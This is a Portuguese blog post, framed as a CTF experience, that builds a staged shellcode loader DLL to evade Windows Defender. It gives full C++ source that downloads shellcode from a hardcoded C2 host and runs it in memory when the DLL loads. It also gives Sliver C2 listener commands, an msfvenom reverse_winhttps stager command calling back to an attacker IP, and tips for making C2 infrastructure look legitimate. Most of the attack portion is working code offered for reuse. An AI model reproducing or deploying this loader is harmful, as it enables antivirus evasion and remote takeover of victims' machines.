staged shellcode to bypass av
No mundo dos malwares existem diversas tecnicas usadas para estabelecer acesso à maquina alvo, algumas são simples como a execução de um unico exe, outras ja são mais elaboradas contendo varios estágios visando enganar os sistemas de defesa.
Muitos malwares usam tecnicas que dividem em partes a sua execução (principlamente os que envolvem carregar algum payload malicioso em memória), como exemplo os malwares em PowerShell que são obfuscados e encodados para separar os payloads do script principal que está em execução na maquina alvo.
Essa tecnica é conhecida como Staging, staged malware, staged payloads e etc. A tecnica consiste basicamente em um Dropper (exe, dll ou script) que será executado primeiro na maquina alvo, sendo o stage 1, que irá requisitar e receber o stage 2 que geralmente é algum shellcode ou outro arquivo para fazer uma conexão com o C2 e/ou estabelecer persistencia.

Pensando nisso hoje vou compartilhar uma experiência que tive com um maquina de ctf em que o initial access consistia em carregar uma dll para obter rce, mas com um porém, o Windows Defender estava ativado e não seria tão simples como gerar uma dll com o msfvenom e jogar lá, eu precisava de algo para “bypassar” o defender e que fosse uma dll.
Com um pouco pesquisa encontrei esse repositorio com alguns samples de código que usam a api sockets e a winhttp do windows. A ideia do código é basicamente receber o shellcode via request http e injetar os bytes na memória do mesmo processo sem deixar o shellcode hardcoded no código. https://github.com/SaadAhla/Shellcode-Hide/blob/main/4%20-%20Fileless%20Shellcode/1%20-%20Using%20Sockets/FilelessShellcode.cpp.
A seguir vamos ver esse código em partes e depois fazer a poc.
WINSOCK API - STAGE 1
A parte do socket é bem simples levando em consideração que foi copiado da documentação da microsoft https://learn.microsoft.com/en-us/windows/win32/winsock/complete-client-code.
- Aqui temos as declarações de variaveis junto com uma conversão de caracteres que vem do parâmetro
host. Logo abaixo vemossendbufque armazena buffer da request para o c2 erecvbufque vai receber o shellcode do stage 1.
void getShellcode_Run(char* host, char* port, char* resource) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
- Em seguida o socket é iniciado, recebe o ip para se conectar, envia a request que pegar o shellcode e jogar na função
RunShellcode. Essa parte é importante porque aqui o dropper faz a primeira interação com o c2 se conectando numa porta web iniciando o stage 1.
Sobre o código do socket não vou entrar muito em detalhes já que ler a doc da microsoft é melhor do que qualquer explicação minha.
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
return ;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
WSACleanup();
return ;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return ;
}
// Connect to server.
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return ;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
return ;
}
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
return ;
}
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
printf("[+] Received %d Bytes\n", iResult);
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
}
PROCESS INJECTION - STAGE 1
Depois de receber stage 1 vem a parte do process injection.
Primeiro temos algumas definições de linking para o compilador (os #pragma comment), definições de funções Nt (as famosas undocumented/low-level functions) para alocar memória, alterar permissões e criar thread.
#pragma comment(lib, "ntdll.dll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
EXTERN_C NTSTATUS NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout
);
No segundo trecho é onde a magica acontece. O shellcode stage 1 que o socket recebe é injetado na memória dando inicio ao stage 2. Para resumir, nessa parte temos os passos mais comuns para injetar um payload na memória, então caso o leitor não tenha conhecimento sobre as tecnicas de process injection recomendo as seguintes leituras porque não vou me aprofundar nesse tópico.
- https://h41stur.com/posts/process-injection/
- https://www.ired.team/offensive-security/code-injection-process-injection/process-injection
void RunShellcode(char* shellcode, DWORD shellcodeLen) {
PVOID BaseAddress = NULL;
SIZE_T dwSize = 0x2000;
PCSTR Terminator = NULL;
NTSTATUS STATUS;
NTSTATUS status1 = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status1)) {
return ;
}
RtlMoveMemory(BaseAddress, shellcode, shellcodeLen);
HANDLE hThread;
DWORD OldProtect = 0;
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
return ;
}
HANDLE hHostThread = INVALID_HANDLE_VALUE;
NTSTATUS NtCreateThreadstatus = NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(NtCreateThreadstatus)) {
GetLastError();
return ;
}
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout);
if (!NT_SUCCESS(NTWFSOstatus)) {
GetLastError();
return ;
}
}
CUSTOM SHELLCODE - STAGE 1 + STAGE 2
Agora que temos o entendimento de como o dropper funciona vamos preparar os stages 1 e 2. Para receber as callbacks dos stages vamos usar o c2 framework sliver. O sliver é um dos c2 mais completos atualmente com muitas features boas de post-exp e ainda um staging muito simples de usar.
Começando com o shellcode stage 1 vamos gera-lo usando o msfvenom aproveitando que o sliver suporta alguns payloads dele. Seguindo a documentação do sliver vemos que podemos usar o windows/x64/custom/reverse_winhttps payload para obter o stage 2 que é servido a partir de uma url especifica com a extensão .woff. Com isso é possivel criar droppers customizados para executar stages apenas dando um GET na url https://qualquercoisa.woff. https://sliver.sh/docs?name=Stagers
- Primeiro geramos um
profileresponsável por armazenar o shellcode stage 2
sliver > profiles new beacon --http 192.168.0.1:443 --format shellcode --disable-sgn <profile-name>
- Segundo iniciamos um
stage-listnerresponsável por servir o shellcode stage 2 doprofile
sliver > stage-listener --url https://192.168.0.1:8443 --prepend-size -p <profile-name>
- Terceiro iniciamos um listner final que vai receber o callback do stage 2
sliver > https --lhost 192.168.0.1

Outra parte importante. Note que os listners usam HTTPS (ja que a ideia é ser stealth e bypassar detecção) então temos que fazer requests https para obter os stages do c2. Na a documentação do sliver diz que por padrão quando um listner https é iniciado um par de certificados self-signed é gerado, para o propósito desse lab isso vai servir, porém, em um cenário real o mais correto era ter um dominio apontando para o c2 e emitir certificados ssl para esse dominio, dessa forma não levantaria muitas suspeitas.
Se procurarmos nos arquivos gerados pelo sliver vamos achar o diretório /root/.sliver/certs com todos os certificados gerados, depois copiamos os https-ca para outro lugar porque vamos precisar para gerar o shellcode stage 1.
- Por último vamos gerar o stage 1, mas antes precisamos juntar os certs em um só porque a opção com ssl pede “Path to a SSL certificate in unified PEM format”.
└─$ cat https-ca-key.pem https-ca-cert.pem > https-ca.pem
└─$ msfvenom -p windows/x64/custom/reverse_winhttps LHOST=10.10.15.161 LPORT=8443 EXITFUNC=thread -f raw LURI=pegaai.woff HandlerSSLCert=./https-ca.pem -o stage1.bin

POC
Na parte final vamos criar o dropper dll pelo Visual Studio. Create a New Project --> Dynamic-Link Library (DLL) --> Put name --> Create. Depois de criado o projeto faça o Build e pronto.

Full source:
#include "pch.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <winternl.h>
#include <Windows.h>
#include <stdio.h>
#include "ios"
#include "fstream"
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
EXTERN_C NTSTATUS NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout
);
void RunShellcode(char* shellcode, DWORD shellcodeLen) {
PVOID BaseAddress = NULL;
SIZE_T dwSize = 0x2000;
PCSTR Terminator = NULL;
NTSTATUS STATUS;
NTSTATUS status1 = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status1)) {
return;
}
RtlMoveMemory(BaseAddress, shellcode, shellcodeLen);
HANDLE hThread;
DWORD OldProtect = 0;
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
return;
}
HANDLE hHostThread = INVALID_HANDLE_VALUE;
NTSTATUS NtCreateThreadstatus = NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(NtCreateThreadstatus)) {
return;
}
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout);
if (!NT_SUCCESS(NTWFSOstatus)) {
return;
}
}
void getShellcode_Run(char* host, char* port, char* resource) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
return;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
WSACleanup();
return;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return;
}
// Connect to server.
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
return;
}
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
return;
}
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
printf("[+] Received %d Bytes\n", iResult);
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
}
void callFuncs() {
char ip[] = "192.168.0.1";
char port[] = "8080";
char resource[] = "stage1.bin";
getShellcode_Run(ip, port, resource);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
callFuncs();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Quando estive tudo pronto para execução inicie um http server para servir o stage 1. Em um cenario real poderia ser um web server com algum site se passando por legitimo, assim seria possivel servir varios payloads de forma facil.
Para executar a dll vou usar o rundll32.exe apenas para fins de demonstração mas num cenario real existem diversas tecnicas para executar uma dll no alvo que não vou explorar aqui nesse texto.
- run dll

- get stage1

- beacon callback
![]()
- command exec
![]()
Conclusão
Como podemos ver o dropper bypassou o Defender com sucesso e usando uma tecnica simples de staging, isso mostra que uma tecnica não muito elaborada já é suficiente para obter acesso a uma maquina. Esse artigo é só mais um de uma série sobre malwares, até a proxima.